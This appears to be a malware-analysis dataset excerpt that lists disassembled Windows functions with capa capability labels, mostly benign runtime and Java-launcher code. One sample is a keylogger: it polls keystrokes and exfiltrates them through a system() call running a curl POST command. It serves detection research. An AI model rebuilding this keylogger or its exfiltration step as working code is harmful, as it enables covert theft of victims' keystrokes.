joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003ed90
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov r10, qword [rcx + 0x258]
mov rdi, r9
mov rsi, r8
mov rbx, rcx
test r10, r10
je 0x14003edd3
mov rax, qword [rcx + 0x1a8]
mov qword [rsp + 0x20], rax
call r10
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
cmp edx, 2
ja 0x14003ee18
mov r9, qword [rbx + 0x1a0]
movsxd rax, edx
mov edx, 2
lea rcx, [rax + rax*2]
lea rax, [0x140072fc8]
lea r8d, [rdx - 1]
add rcx, rax
call qword [sym.imp.msvcrt.dll_fwrite]
mov r9, qword [rbx + 0x1a0]
mov r8d, 1
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.msvcrt.dll_fwrite]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
xor eax, eax
add rsp, 0x30
pop rdi
ret

Function at 0x140041dd0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rbx, qword [rcx + 0x798]
mov rsi, rdx
mov rdi, rcx
test rbx, rbx
je 0x140041e3d
mov rax, qword [rcx + 0x80]
test rax, rax
jne 0x140041e03
cmp qword [rcx + 0x78], rax
je 0x140041e3d
mov qword [rsp + 0x20], rbx
mov byte [rsp + 0x28], 0
test rax, rax
jne 0x140041e16
mov rax, qword [rcx + 0x78]
mov rcx, qword [rax + 0x60]
lea r8, [0x140042d50]
lea rdx, [rsp + 0x20]
call fcn.14004ac50
cmp byte [rsp + 0x28], 0
jne 0x140041e51
mov qword [rdi + 0x798], 0
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
test rsi, rsi
je 0x140041e59
mov qword [rsi], rbx
cmp byte [rbx + 0x1f0], 0
mov rdi, qword [rbx + 0x1a8]
je 0x140041e77
mov rcx, rbx
call fcn.14003d340
test eax, eax
jne 0x140041e93
jmp 0x140041e3d
mov r9d, 2
lea rdx, [rsp + 0x40]
mov rcx, rdi
lea r8d, [r9 - 1]
call qword [sym.imp.WSOCK32.DLL_recv]
test eax, eax
je 0x140041e3d
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rax, rdi
add rsp, 0x30
pop rdi
ret

Function at 0x140042400
Capabilities:
Set socket configuration

Disassembly:
mov rax, rsp
push rbx
sub rsp, 0xd0
mov dword [rax + 0x18], 0x4020
mov dword [rax + 0x10], 0
mov dword [rax + 0x20], 4
mov eax, dword [0x140221aa0]
mov rbx, rcx
test eax, eax
jne 0x140042495
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x9c
call sub.msvcrt.dll_memset
mov r8b, 3
mov edx, 2
xor ecx, ecx
mov dword [rsp + 0x30], 0x9c
mov dword [rsp + 0x34], 6
call qword [sym.imp.KERNEL32.dll_VerSetConditionMask]
lea rcx, [rsp + 0x30]
mov edx, 2
mov r8, rax
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
test eax, eax
je 0x140042489
mov dword [0x140221aa0], 2
add rsp, 0xd0
pop rbx
ret
mov dword [0x140221aa0], 1
jmp 0x14004249a
cmp eax, 2
je 0x1400424fb
lea rax, [rsp + 0xf8]
lea r9, [rsp + 0xe8]
mov edx, 0xffff
mov r8d, 0x1001
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.WSOCK32.DLL_getsockopt]
test eax, eax
jne 0x1400424d7
mov eax, dword [rsp + 0xf0]
cmp dword [rsp + 0xe8], eax
jg 0x1400424fb
lea r9, [rsp + 0xf0]
mov edx, 0xffff
mov r8d, 0x1001
mov rcx, rbx
mov dword [rsp + 0x20], 4
call qword [sym.imp.WSOCK32.DLL_setsockopt]
add rsp, 0xd0
pop rbx
ret
Function at 0x14005e320
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
cmp dword [0x140221b30], 0
mov r14, rdx
mov r15, rcx
lea rbx, [0x140221b40]
jne 0x14005e36d
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov rcx, rbx
mov dword [0x140221b68], eax
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x140221b30], 1
mov ecx, dword [0x140221b68]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbp, rax
test rax, rax
jne 0x14005e442
mov rcx, qword [0x140220a00]
lea edx, [rax + 8]
lea r8d, [rax + 0x28]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x14005e46d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x140221b38]
test rax, rax
je 0x14005e3bd
mov qword [rax], rbp
mov rcx, rbx
mov qword [rbp + 8], rax
mov qword [0x140221b38], rbp
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
lea r9, [rbp + 0x20]
mov r8, rdi
mov rcx, rax
mov rdx, rbx
mov dword [rsp + 0x20], 0x100000
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp + 0x18]
lea r8, [0x14005e488]
mov r9, rbp
mov dword [rsp + 0x28], 8
or dword [rsp + 0x20], 0xffffffff
call qword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
mov ecx, dword [0x140221b68]
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rcx, qword [0x140220a00]
xor edx, edx
lea r8d, [rdx + 0x18]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14005e46d
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rax], rcx
mov qword [rbp + 0x10], rax
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x1400054e0]
mov dword [rax], 1
mov rax, qword [0x1400054f0]
mov dword [rax], 1
mov rax, qword [0x140005500]
mov dword [rax], 1
mov rax, qword [0x140005460]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400016d0
Capabilities:
Encrypt data using rc4 prga
Execute command

Disassembly:
push rbp
sub rsp, 0x440
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3d0], rcx
mov dword [rbp + 0x3bc], 0
jmp 0x140001746
mov eax, dword [rbp + 0x3bc]
lea rdx, [0x140004020]
movzx eax, byte [rax + rdx]
mov byte [rbp + 0x3b3], al
not byte [rbp + 0x3b3]
mov eax, dword [rbp + 0x3bc]
xor byte [rbp + 0x3b3], al
mov eax, dword [rbp + 0x3bc]
add byte [rbp + 0x3b3], al
mov eax, dword [rbp + 0x3bc]
lea rcx, [0x140004020]
movzx edx, byte [rbp + 0x3b3]
mov byte [rax + rcx], dl
add dword [rbp + 0x3bc], 1
cmp dword [rbp + 0x3bc], 0x79
jbe 0x1400016f3
mov ecx, 0x2710
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x3d0]
mov rcx, rax
call sym.strlen
mov dword [rbp + 0x3b4], eax
cmp dword [rbp + 0x3b4], 0
jle 0x14000174f
mov dword [rbp + 0x3b8], 0
jmp 0x14000180f
mov eax, dword [rbp + 0x3b8]
movsxd rdx, eax
mov rax, qword [rbp + 0x3d0]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0x1f
jle 0x1400017f2
mov eax, dword [rbp + 0x3b8]
movsxd rdx, eax
mov rax, qword [rbp + 0x3d0]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0x7f
je 0x1400017f2
mov eax, dword [rbp + 0x3b8]
movsxd rdx, eax
mov rax, qword [rbp + 0x3d0]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0x3e
je 0x1400017f2
mov eax, dword [rbp + 0x3b8]
movsxd rdx, eax
mov rax, qword [rbp + 0x3d0]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0x3c
jne 0x140001808
mov eax, dword [rbp + 0x3b8]
movsxd rdx, eax
mov rax, qword [rbp + 0x3d0]
add rax, rdx
mov byte [rax], 0x2e
add dword [rbp + 0x3b8], 1
mov eax, dword [rbp + 0x3b8]
cmp eax, dword [rbp + 0x3b4]
jl 0x14000178a
mov rcx, qword [rbp + 0x3d0]
lea rax, [rbp - 0x50]
lea rdx, [0x140004020]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str.start__min_curl__i__H__Accept:_application_json___H__Content_Type:_application_json___X_POST___data___content_:___s____s
mov edx, 0x400
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.system
mov rax, qword [rbp + 0x3d0]
mov r8d, 0xc8
mov edx, 0
mov rcx, rax
call sym.memset
jmp 0x14000174f
Function at 0x14000187a
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov rax, qword [rbp + 0x20]
mov r8d, 0xc8
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x20]
mov rcx, rax
call sym.strlen
mov word [rbp - 6], ax
mov rax, qword [rbp + 0x10]
mov r8d, 0x100
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x18]
mov r8d, 4
mov edx, 0
mov rcx, rax
call sym.memset
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
mov dword [rbp - 4], 0x10
jmp 0x140001979
mov rax, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetKeyboardState]
call rax
test eax, eax
je 0x140001975
mov eax, dword [rbp - 4]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
cmp ax, 0x8001
jne 0x140001975
mov eax, dword [rbp - 4]
mov rcx, qword [rbp + 0x18]
mov rdx, qword [rbp + 0x10]
mov dword [rsp + 0x20], 0
mov r9, rcx
mov r8, rdx
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_ToAscii]
call rax
mov rax, qword [rbp + 0x18]
movzx ecx, word [rax]
movsx rdx, word [rbp - 6]
mov rax, qword [rbp + 0x20]
add rax, rdx
mov edx, ecx
mov byte [rax], dl
movsx rax, word [rbp - 6]
lea rdx, [rax + 1]
mov rax, qword [rbp + 0x20]
add rax, rdx
mov byte [rax], 0
add dword [rbp - 4], 1
cmp dword [rbp - 4], 0xc7
jle 0x1400018fa
jmp 0x1400018a5

Function at 0x14000198b
Capabilities:
Create thread
Execute command

Disassembly:
push rbp
sub rsp, 0x150
lea rbp, [rsp + 0x80]
call sym.__main
mov ecx, 0xc8
call sym.malloc
mov qword [rbp + 0xc8], rax
mov rdx, qword [rbp + 0xc8]
lea rax, [rbp - 0x48]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, rdx
lea r8, [sym.sendData]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0xc0], rax
lea rax, str.start_https:__poczta.zsi.kielce.pl
mov rcx, rax
call sym.system
mov rcx, qword [rbp + 0xc8]
lea rdx, [rbp - 0x44]
lea rax, [rbp - 0x40]
mov r8, rcx
mov rcx, rax
call sym.keyStrokes
mov eax, 0
add rsp, 0x150
pop rbp
ret

Function at 0x140001d60
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop
Function at 0x140002a32
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140009168]
test eax, eax
je 0x140002aca
lea rax, [0x140009140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140009170]
mov qword [rbp - 8], rax
jmp 0x140002aae
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002aa2
cmp qword [rbp - 0x10], 0
je 0x140002aa2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002a68
lea rax, [0x140009140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140002acb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140002bd0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002bf8
mov eax, 0
jmp 0x140002c46
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140002c21
mov eax, 0
jmp 0x140002c46
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140002c41
mov eax, 0
jmp 0x140002c46
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x140002c4c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140002cca
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140002cc1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140002cc1
mov rax, qword [rbp - 8]
jmp 0x140002cdf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140002c94
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001000
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
mov rax, qword [0x140028cb0]
lea rcx, str._JAVA_LAUNCHER_DEBUG
mov qword [0x140028cb8], rax
call fcn.14000a6ec
test rax, rax
je 0x140001068
lea rcx, str.Windows_original_main_args:_n
call fcn.14000a584
xor ebx, ebx
cmp dword [0x140028c9c], ebx
jle 0x140001068
xor edi, edi
mov r8, qword [0x140028ca0]
lea rcx, str.wwwd_args__d____s_n
mov edx, ebx
mov r8, qword [rdi + r8]
call fcn.14000a584
inc ebx
add rdi, 8
cmp ebx, dword [0x140028c9c]
jl 0x140001041
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rcx, rax
call fcn.140004204
call fcn.1400041f4
movsxd rdi, eax
lea ecx, [rdi + 1]
movsxd rcx, ecx
shl rcx, 3
call fcn.1400042a8
mov rbx, rax
call fcn.1400041fc
xor r9d, r9d
xor edx, edx
test edi, edi
jle 0x1400010b4
mov r9d, edi
mov rcx, qword [rax]
add rax, 0x10
mov qword [rbx + rdx*8], rcx
inc rdx
cmp rdx, rdi
jl 0x1400010a1
mov rdx, qword [str.java]
movsxd rax, r9d
and qword [rbx + rax*8], 0
test rdx, rdx
jne 0x1400010cb
mov rdx, qword [rbx]
mov rcx, qword [0x140027018]
test rcx, rcx
jne 0x1400010da
mov rcx, qword [rbx]
mov r9, qword [0x140028a20]
mov r8d, 1
test r9, r9
setne al
and dword [rsp + 0x68], 0
mov byte [rsp + 0x60], 1
mov byte [rsp + 0x58], 1
mov byte [rsp + 0x50], al
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], rcx
lea rax, [0x14001e440]
mov rdx, rbx
mov qword [rsp + 0x38], rax
lea rax, [0x14001e430]
mov ecx, edi
mov qword [rsp + 0x30], rax
mov rax, qword [0x140028a28]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
call fcn.1400039f0
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
Function at 0x14000177c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x150
mov rax, qword [0x1400270d0]
xor rax, rsp
mov qword [rsp + 0x140], rax
movsxd rbp, ecx
lea rcx, str.CLASSPATH
mov r12, rdx
mov word [rsp + 0x20], 0x3b
call fcn.14000a6ec
mov edi, 0x28
test rax, rax
je 0x14000181a
mov rcx, rax
call fcn.140006548
mov rcx, rax
mov rsi, rax
call fcn.14000ac20
mov rcx, rsi
lea rbx, [rax + 0x28]
call fcn.14000ac20
cmp rbx, rax
jbe 0x14000181a
mov rcx, rsi
call fcn.14000ac20
lea rcx, [rdi + rax]
call fcn.1400042a8
lea rdx, str._Denv.class.path_s
mov r8, rsi
mov rcx, rax
mov rbx, rax
call fcn.14000b0f4
xor edx, edx
mov rcx, rbx
call fcn.14000121c
lea rcx, [rsp + 0x30]
mov edx, 0x104
call fcn.140004474
test al, al
jne 0x140001840
lea rcx, str.Error:_Could_not_determine_application_home.
call fcn.140004618
xor al, al
jmp 0x140001908
lea rcx, [rsp + 0x30]
call fcn.14000ac20
lea rcx, [rdi + rax]
call fcn.1400042a8
lea r8, [rsp + 0x30]
lea rdx, str._Dapplication.home_s
mov rcx, rax
mov rbx, rax
call fcn.14000b0f4
xor edx, edx
mov rcx, rbx
call fcn.14000121c
xor esi, esi
test rbp, rbp
jle 0x14000189d
mov rcx, qword [r12 + rsi*8]
call fcn.14000ac20
lea rcx, [rsp + 0x30]
lea ebx, [rdi + rax]
call fcn.14000ac20
inc rsi
lea edi, [rbx + rax + 1]
cmp rsi, rbp
jl 0x14000187b
lea eax, [rdi + 1]
movsxd rcx, eax
call fcn.1400042a8
lea rdx, str._Djava.class.path
mov rcx, rax
mov rbx, rax
call fcn.14000b3d0
xor edi, edi
test rbp, rbp
jle 0x1400018ef
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.14000b330
mov rdx, qword [r12 + rdi*8]
mov rcx, rbx
call fcn.14000b330
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.14000b330
inc rdi
cmp rdi, rbp
jl 0x1400018c1
mov rcx, rbx
call fcn.14000ac20
xor edx, edx
mov rcx, rbx
mov byte [rax + rbx - 1], 0
call fcn.14000121c
mov al, 1
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.14000b4a0
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
Function at 0x140001ea0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x30
lea rcx, [0x14001e9f8]
movaps xmmword [rsp + 0x20], xmm6
call fcn.14000a6ec
lea rcx, [0x14001e9e0]
mov rbp, rax
call fcn.14000a6ec
mov rdi, rax
movss xmm6, dword [0x14001e9dc]
movss dword [rsp + 0x50], xmm6
test rax, rax
je 0x140001fd5
lea r8, [rsp + 0x50]
mov rdx, rax
mov rcx, rbp
call fcn.140006710
mov rbx, rax
test rbp, rbp
je 0x140001f5f
test rax, rax
je 0x140001f1b
lea r8, [rsp + 0x58]
mov rdx, rax
mov rcx, rbp
call fcn.1400073b8
mov rsi, rax
test rax, rax
jne 0x140001f39
lea r8, [rsp + 0x58]
mov rdx, rdi
mov rcx, rbp
movss dword [rsp + 0x50], xmm6
call fcn.1400073b8
mov rsi, rax
test rax, rax
je 0x140001f81
call fcn.140006658
movss xmm0, dword [rsp + 0x50]
call fcn.1400066d0
mov edx, dword [rsp + 0x58]
mov rcx, rsi
call fcn.1400065d0
mov rcx, rsi
call fcn.14000432c
jmp 0x140001f81
call fcn.140006658
test rbx, rbx
je 0x140001f79
movss xmm0, dword [rsp + 0x50]
call fcn.1400066d0
mov rcx, rbx
jmp 0x140001f7c
mov rcx, rdi
call fcn.140006618
test rbx, rbx
je 0x140001f8e
mov rcx, rbx
call fcn.14000432c
mov rdx, rbp
mov rcx, rdi
call fcn.140006688
lea rcx, [0x14001e9c8]
call fcn.140004fdc
lea rcx, [0x14001e9e0]
call fcn.140004fdc
lea rcx, [0x14001e9f8]
call fcn.140004fdc
mov rcx, qword [0x140028a80]
call fcn.14000432c
mov rcx, qword [0x140028a78]
call fcn.14000432c
mov rbx, qword [rsp + 0x60]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
Function at 0x140004364
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0x28
lea rcx, str._JAVA_LAUNCHER_DEBUG
call fcn.14000a6ec
test rax, rax
je 0x140004393
lea rdx, str._JAVA_LAUNCHER_DEBUG
lea rcx, str._____s_____n
mov byte [0x140028ad0], 1
call fcn.140004334
add rsp, 0x28
ret

Function at 0x1400044bc
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x40
lea rax, [r11 - 0x18]
mov ebx, r9d
mov rbp, r8
mov qword [r11 - 0x20], rax
and qword [r11 - 0x28], 0
lea r9, [r11 - 0x14]
xor r8d, r8d
mov rdi, rdx
mov rsi, rcx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140004530
cmp dword [rsp + 0x34], 1
jne 0x140004530
cmp dword [rsp + 0x30], ebx
jae 0x140004530
lea rcx, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x28], rcx
mov rcx, rsi
mov rdx, rdi
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140004530
mov al, 1
jmp 0x140004532
xor al, al
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x14000488c
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x1400270d0]
xor rax, rsp
mov qword [rbp + 0x70], rax
and qword [rsp + 0x30], 0
mov r13, rcx
mov qword [rsp + 0x48], 0xffffffff80000001
xor edi, edi
mov qword [rsp + 0x50], 0xffffffff80000002
mov rcx, qword [rsp + rdi*8 + 0x48]
lea rax, [rsp + 0x30]
lea rdx, str.SoftwareJavaSoftJava_Runtime_Environment
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140004a29
mov r12, qword [rsp + 0x30]
lea r8, [rsp + 0x60]
mov r9d, 0x104
xor edx, edx
mov rcx, r12
xor esi, esi
xor ebx, ebx
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x140004a29
mov rdx, qword [r13 + 0x10]
lea rcx, [rsp + 0x60]
inc esi
call fcn.1400076f4
test eax, eax
je 0x14000496a
test rbx, rbx
je 0x14000495d
lea rcx, [rsp + 0x60]
mov rdx, rbx
call fcn.1400075e4
test eax, eax
jle 0x14000496a
mov rcx, rbx
call fcn.14000432c
lea rcx, [rsp + 0x60]
call fcn.140004300
mov rbx, rax
lea r8, [rsp + 0x60]
mov r9d, 0x104
mov edx, esi
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
je 0x14000492b
test rbx, rbx
je 0x140004a29
lea rax, [rsp + 0x38]
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rbx
mov rcx, r12
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rcx, rbx
test eax, eax
je 0x1400049ca
call fcn.14000432c
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x140004a29
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140004a29
call fcn.14000432c
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
lea rdx, str.JavaHome
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x40], 0x104
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x38]
test eax, eax
jne 0x1400049bd
test rcx, rcx
je 0x140004a17
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rsp + 0x60]
call fcn.140004300
mov rbx, rax
test rax, rax
jne 0x140004a71
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140004a39
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc rdi
cmp rdi, 1
jle 0x1400048d7
xor eax, eax
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.14000b4a0
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r13
pop r12
pop rbp
ret
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140004a81
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, rbx
jmp 0x140004a48